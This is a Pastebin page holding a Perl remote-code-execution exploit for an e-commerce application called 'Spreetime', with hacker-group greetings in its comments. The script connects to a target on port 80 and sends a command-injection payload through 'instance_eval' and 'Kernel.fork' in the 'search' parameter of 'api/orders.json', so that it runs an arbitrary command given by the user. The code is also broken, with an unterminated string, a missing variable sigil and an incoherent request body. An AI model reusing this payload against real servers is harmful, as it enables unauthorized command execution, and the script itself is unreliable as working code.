Advertisement
Guest User

Spreetime RCE (fixed)

a guest
May 9th, 2011
438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. ## Spreetime (r00t time) RCE exploit coded by xd / HaqNET (#Haxnet@EFNET)
  3. ## greetz: to those who deserve them, all my friends from haxnet... the goods ones :P
  4. ##use warnings;   ## uncomment this to debug..
  5. use IO::Socket::INET;
  6.  
  7. sub usage {
  8. print "perl $0 <IP/Host> <CMD>\n";
  9. exit(1);
  10. }
  11. my($host, $cmd) = @ARGV or usage();
  12. print "[+] Connecting to..\n";
  13. my $sock = IO::Socket::INET->new(Proto => 'tcp',PeerAddr => $host,PeerPort => 80,Timeout => 10) or die "[-] Connect error..\n";
  14. if(!sock) {
  15. print "[-] No connection to the box was made!\n";
  16. exit(-1);
  17. } else {
  18. print "[+] Connected.. Sending Bad stuffs..\n";
  19. my $temp= "$host + 'api/orders.json?search[instance_eval]=Kernel.fork%20do%60 . $cmd . %60end";
  20. ##$req = HTTP::Request->new("POST", $host);  ## hrmm
  21. print "[+] Sent evil buffer.. waiting..\n";
  22. my $buffer_size=length($temp);
  23. $buffer=
  24. "POST / HTTP/1.1\n".
  25. "Host: $host:80\n".
  26. "Keep-Alive: 300\n".
  27. "Connection: Close\n".
  28. "Referer: ABXD\n".
  29. "Cookie: sid=1; testing=1;\n".
  30. "Content-Type: plain/text;
  31. $temp;
  32. $buffer=~s/buffer_size/$cmd/g;
  33. ##print $sock $buffer;
  34. if ($sock) {  ## makesure still connected
  35. print "[+] Buffer sent.. running command: $cmd\n";
  36. print $sock $buffer;
  37. }
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement